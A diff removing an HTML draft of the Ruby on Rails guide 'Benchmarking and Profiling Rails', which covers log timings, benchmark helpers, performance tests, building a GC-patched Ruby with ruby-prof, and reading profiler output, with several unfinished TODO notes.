-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_why_benchmark_and_profile">Why Benchmark and Profile ?</a>
-						<ul>
-						
-							<li><a href="#_what_is_the_difference_between_benchmarking_and_profiling">What is the difference between benchmarking and profiling ?</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_using_and_understanding_the_log_files">Using and understanding the log files</a>
-					</li>
-					<li>
-					<a href="#_helper_methods">Helper methods</a>
-					</li>
-					<li>
-					<a href="#_performance_test_cases">Performance Test Cases</a>
-						<ul>
-						
-							<li><a href="#_modes">Modes</a></li>
-						
-							<li><a href="#_metrics">Metrics</a></li>
-						
-							<li><a href="#_preparing_ruby_and_ruby_prof">Preparing Ruby and Ruby-prof</a></li>
-						
-							<li><a href="#_installing_jeremy_kemper_s_ruby_prof">Installing Jeremy Kemper's ruby-prof</a></li>
-						
-							<li><a href="#_generating_performance_test">Generating performance test</a></li>
-						
-							<li><a href="#_running_tests">Running tests</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_understanding_performance_tests_outputs">Understanding Performance Tests Outputs</a>
-						<ul>
-						
-							<li><a href="#_our_first_performance_test">Our First Performance Test</a></li>
-						
-							<li><a href="#_flat_files">Flat Files</a></li>
-						
-							<li><a href="#_graph_files">Graph Files</a></li>
-						
-							<li><a href="#_tree_files">Tree Files</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_getting_to_the_point_of_all_of_this">Getting to the Point of all of this</a>
-					</li>
-					<li>
-					<a href="#_real_life_example">Real Life Example</a>
-						<ul>
-						
-							<li><a href="#_the_setup">The setup</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_get_yourself_a_game_plan">Get Yourself a Game Plan</a>
-						<ul>
-						
-							<li><a href="#_the_analysis_process">The Analysis Process</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_other_profiling_tools">Other Profiling Tools</a>
-						<ul>
-						
-							<li><a href="#_httperf">httperf</a></li>
-						
-							<li><a href="#_rails_analyzer">Rails Analyzer</a></li>
-						
-							<li><a href="#_palmist">Palmist</a></li>
-						
-							<li><a href="#_new_relic">New Relic</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Benchmarking and Profiling Rails</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Understand the various types of benchmarking and profiling metrics
-</p>
-</li>
-<li>
-<p>
-Generate performance/benchmarking tests
-</p>
-</li>
-<li>
-<p>
-Use GC patched Ruby binary to measure memory usage and object allocation
-</p>
-</li>
-<li>
-<p>
-Understand the information provided by Rails inside the log files
-</p>
-</li>
-<li>
-<p>
-Learn about various tools facilitating benchmarking and profiling
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_why_benchmark_and_profile">1. Why Benchmark and Profile ?</h2>
-<div class="sectionbody">
-<div class="para"><p>Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.</p></div>
-<h3 id="_what_is_the_difference_between_benchmarking_and_profiling">1.1. What is the difference between benchmarking and profiling ?</h3>
-<div class="para"><p>Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.</p></div>
-</div>
-<h2 id="_using_and_understanding_the_log_files">2. Using and understanding the log files</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]</span></span>
-  Session ID<span style="color: #990000">:</span> BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA<span style="color: #990000">==--</span>83cff4fe0a897074a65335
-  Parameters<span style="color: #990000">:</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"action"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"controller"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"items"</span><span style="color: #FF0000">}</span>
-Rendering template within layouts<span style="color: #990000">/</span>items
-Rendering items<span style="color: #990000">/</span>index
-Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>For this section, we're only interested in the last line from that log entry:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
-</div>
-<h2 id="_helper_methods">3. Helper methods</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called <tt>benchmark()</tt> in all three components.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
-  project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
-  project<span style="color: #990000">.</span>milestones <span style="color: #990000">&lt;&lt;</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The above code benchmarks the multiple statments enclosed inside <tt>Project.benchmark("Creating project") do..end</tt> block and prints the results inside log files. The statement inside log files will look like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Creating projectem <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Please refer to <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for optional options to <tt>benchmark()</tt></p></div>
-<div class="para"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a> ( Note that it's a class method here ):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
-  <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-    Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
-    Project<span style="color: #990000">.</span>update_cached_projects
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>and <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% benchmark("Showing projects partial") do %&gt;</span>
-  <span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #009900">@projects</span> <span style="color: #990000">%&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_performance_test_cases">4. Performance Test Cases</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails provides a very easy to write performance test cases, which look just like the regular integration tests.</p></div>
-<div class="para"><p>If you have a look at <tt>test/performance/browsing_test.rb</tt> in a newly created Rails application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
-    get <span style="color: #FF0000">'/'</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is an automatically generated example performance test file, for testing performance of homepage(<em>/</em>) of the application.</p></div>
-<h3 id="_modes">4.1. Modes</h3>
-<h4 id="_benchmarking">4.1.1. Benchmarking</h4>
-<h4 id="_profiling">4.1.2. Profiling</h4>
-<h3 id="_metrics">4.2. Metrics</h3>
-<h4 id="_process_time">4.2.1. Process Time</h4>
-<div class="para"><p>CPU Cycles.</p></div>
-<h4 id="_memory">4.2.2. Memory</h4>
-<div class="para"><p>Memory taken.</p></div>
-<h4 id="_objects">4.2.3. Objects</h4>
-<div class="para"><p>Objects allocated.</p></div>
-<h4 id="_gc_runs">4.2.4. GC Runs</h4>
-<div class="para"><p>Number of times the Ruby GC was run.</p></div>
-<h4 id="_gc_time">4.2.5. GC Time</h4>
-<div class="para"><p>Time spent running the Ruby GC.</p></div>
-<h3 id="_preparing_ruby_and_ruby_prof">4.3. Preparing Ruby and Ruby-prof</h3>
-<div class="para"><p>Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:</p></div>
-<h4 id="_compile">4.3.1. Compile</h4>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ mkdir rubygc
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ wget ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">/</span><span style="color: #993399">1.8</span>/ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ tar -xzvf ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span>
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span>
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=</span>/Users/lifo/rubygc
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install
-</tt></pre></div></div>
-<h4 id="_prepare_aliases">4.3.2. Prepare aliases</h4>
-<div class="para"><p>Add the following lines in your ~/.profile for convenience:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>alias gcruby='/Users/lifo/rubygc/bin/ruby'
-alias gcrake='/Users/lifo/rubygc/bin/rake'
-alias gcgem='/Users/lifo/rubygc/bin/gem'
-alias gcirb='/Users/lifo/rubygc/bin/irb'
-alias gcrails='/Users/lifo/rubygc/bin/rails'</tt></pre>
-</div></div>
-<h4 id="_install_rubygems_and_some_basic_gems">4.3.3. Install rubygems and some basic gems</h4>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
-[lifo@null ~]$ cd rubygems-1.2.0
-[lifo@null rubygems-1.2.0]$ gcruby setup.rb
-[lifo@null rubygems-1.2.0]$ cd ~
-[lifo@null ~]$ gcgem install rake
-[lifo@null ~]$ gcgem install rails</tt></pre>
-</div></div>
-<h4 id="_install_mysql_gem">4.3.4. Install MySQL gem</h4>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ gcgem install mysql</tt></pre>
-</div></div>
-<div class="para"><p>If this fails, you can try to install it manually:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql-2.7]$ make &amp;&amp; make install</tt></pre>
-</div></div>
-<h3 id="_installing_jeremy_kemper_s_ruby_prof">4.4. Installing Jeremy Kemper's ruby-prof</h3>
-<div class="para"><p>We also need to install Jeremy's ruby-prof gem using our newly built ruby:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ git clone git<span style="color: #990000">:</span>//github<span style="color: #990000">.</span>com/jeremy/ruby-prof<span style="color: #990000">.</span>git
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-prof<span style="color: #990000">/</span>
-<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcrake gem
-<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcgem install pkg/ruby-prof-<span style="color: #993399">0.6</span><span style="color: #990000">.</span><span style="color: #993399">1</span><span style="color: #990000">.</span>gem
-</tt></pre></div></div>
-<h3 id="_generating_performance_test">4.5. Generating performance test</h3>
-<div class="para"><p>Rails provides a simple generator for creating new performance tests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null application <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ script/generate performance_test homepage
-</tt></pre></div></div>
-<div class="para"><p>This will generate <tt>test/performance/homepage_test.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
-  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
-    get <span style="color: #FF0000">'/'</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Which you can modify to suit your needs.</p></div>
-<h3 id="_running_tests">4.6. Running tests</h3>
-</div>
-<h2 id="_understanding_performance_tests_outputs">5. Understanding Performance Tests Outputs</h2>
-<div class="sectionbody">
-<h3 id="_our_first_performance_test">5.1. Our First Performance Test</h3>
-<div class="para"><p>So how do we profile a request.</p></div>
-<div class="para"><p>One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.</p></div>
-<div class="para"><p>In the terminal run</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>User profiling_tester<span style="color: #990000">]</span>$ gcruby tests<span style="color: #FF6600">/performance/</span>homepage<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>After the tests runs for a few seconds you should see something like this.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (19 ms warmup)
-        process_time: 26 ms
-              memory: 298.79 KB
-             objects: 1917
-
-Finished in 2.207428 seconds.</tt></pre>
-</div></div>
-<div class="para"><p>Simple but efficient.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Process Time refers to amount of time necessary to complete the action.
-</p>
-</li>
-<li>
-<p>
-memory is the amount of information loaded into memory
-</p>
-</li>
-<li>
-<p>
-object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.</p></div>
-<div class="para"><p><strong>The Three types are</strong></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Flat File - A simple text file with the data laid out in a grid
-</p>
-</li>
-<li>
-<p>
-Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
-</p>
-</li>
-<li>
-<p>
-Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.</td>
-</tr></table>
-</div>
-<div class="para"><p>Below are examples for Flat Files and Graphical Files</p></div>
-<h3 id="_flat_files">5.2. Flat Files</h3>
-<div class="exampleblock">
-<div class="title">Example: Flat File Output Processing Time</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 0.026097</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self     total     self     wait    child    calls  name
- 6.41      0.06     0.04     0.00     0.02      571  Kernel#===
- 3.17      0.00     0.00     0.00     0.00      172  Hash#[]
- 2.42      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_exit
- 2.05      0.00     0.00     0.00     0.00       15  Array#each
- 1.56      0.00     0.00     0.00     0.00        6  Logger#add
- 1.55      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_enter
- 1.36      0.03     0.00     0.00     0.03        1  ActionController::Integration::Session#process
- 1.31      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_release
- 1.15      0.00     0.00     0.00     0.00        8  MonitorMixin#synchronize-1
- 1.09      0.00     0.00     0.00     0.00       23  Class#new
- 1.03      0.01     0.00     0.00     0.01        5  MonitorMixin#synchronize
- 0.89      0.00     0.00     0.00     0.00       74  Hash#default
- 0.89      0.00     0.00     0.00     0.00        6  Hodel3000CompliantLogger#format_message
- 0.80      0.00     0.00     0.00     0.00        9  c
- 0.80      0.00     0.00     0.00     0.00       11  ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
- 0.79      0.01     0.00     0.00     0.01        1  ActionController::Benchmarking#perform_action_without_rescue
- 0.18      0.00     0.00     0.00     0.00       17  &lt;Class::Object&gt;#allocate</tt></pre>
-</div></div>
-</div></div>
-<div class="para"><p>So what do these columns tell us:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-%self - The percentage of time spent processing the method. This is derived from self_time/total_time
-</p>
-</li>
-<li>
-<p>
-total - The time spent in this method and its children.
-</p>
-</li>
-<li>
-<p>
-self - The time spent in this method.
-</p>
-</li>
-<li>
-<p>
-wait - Time processed was queued
-</p>
-</li>
-<li>
-<p>
-child - The time spent in this method's children.
-</p>
-</li>
-<li>
-<p>
-calls - The number of times this method was called.
-</p>
-</li>
-<li>
-<p>
-name - The name of the method.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Name can be displayed three seperate ways:
-        <strong> #toplevel - The root method that calls all other methods
-        </strong> MyObject#method - Example Hash#each, The class Hash is calling the method each
-        * &lt;Object:MyObject&gt;#test - The &lt;&gt; characters indicate a singleton method on a singleton class. Example &lt;Class::Object&gt;#allocate</p></div>
-<div class="para"><p>Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.</p></div>
-<div class="para"><p>So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.</p></div>
-<div class="exampleblock">
-<div class="title">Example: Flat File Memory Output</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 509.724609</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self     total     self     wait    child    calls  name
- 4.62     23.57    23.57     0.00     0.00       34  String#split
- 3.95     57.66    20.13     0.00    37.53        3  &lt;Module::YAML&gt;#quick_emit
- 2.82     23.70    14.35     0.00     9.34        2  &lt;Module::YAML&gt;#quick_emit-1
- 1.37     35.87     6.96     0.00    28.91        1  ActionView::Helpers::FormTagHelper#form_tag
- 1.35      7.69     6.88     0.00     0.81        1  ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
- 1.06      6.09     5.42     0.00     0.67       90  String#gsub
- 1.01      5.13     5.13     0.00     0.00       27  Array#-</tt></pre>
-</div></div>
-</div></div>
-<div class="para"><p>Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory <strong>(or is it strictly into the heap) can I get clarification on this minor point?</strong></p></div>
-<div class="para"><p>So for &lt;Module::YAML&gt;#quick_emit which is  singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.</p></div>
-<div class="exampleblock">
-<div class="title">Example: Flat File Objects</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 6537.000000</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self     total     self     wait    child    calls  name
-15.16   1096.00   991.00     0.00   105.00       66  Hash#each
- 5.25    343.00   343.00     0.00     0.00        4  Mysql::Result#each_hash
- 4.74   2203.00   310.00     0.00  1893.00       42  Array#each
- 3.75   4529.00   245.00     0.00  4284.00        1  ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
- 2.00    136.00   131.00     0.00     5.00       90  String#gsub
- 1.73    113.00   113.00     0.00     0.00       34  String#split
- 1.44    111.00    94.00     0.00    17.00       31  Array#each-1</tt></pre>
-</div></div>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.</tt></pre>
-</div></div>
-<h3 id="_graph_files">5.3. Graph Files</h3>
-<div class="para"><p>While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found <a href="examples/graph.html">Here</a></p></div>
-<div class="para"><p>#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
- )</p></div>
-<div class="exampleblock">
-<div class="title">Example: Graph File</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 21277412</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>  %total   %self     total      self    children               calls   Name
-/____________________________________________________________________________/
-100.00%   0.00%      8.77      0.00      8.77                   1     #toplevel*
-                     8.77      0.00      8.77                 1/1     Object#run_primes
-/____________________________________________________________________________/
-                     8.77      0.00      8.77                 1/1     #toplevel
-100.00%   0.00%      8.77      0.00      8.77                   1     Object#run_primes*
-                     0.02      0.00      0.02                 1/1     Object#make_random_array
-                     2.09      0.00      2.09                 1/1     Object#find_largest
-                     6.66      0.00      6.66                 1/1     Object#find_primes
-/____________________________________________________________________________/
-                     0.02      0.02      0.00                 1/1     Object#make_random_array
-0.18%     0.18%      0.02      0.02      0.00                   1     Array#each_index
-                     0.00      0.00      0.00             500/500     Kernel.rand
-                     0.00      0.00      0.00             500/501     Array#[]=
-/____________________________________________________________________________/</tt></pre>
-</div></div>
-</div></div>
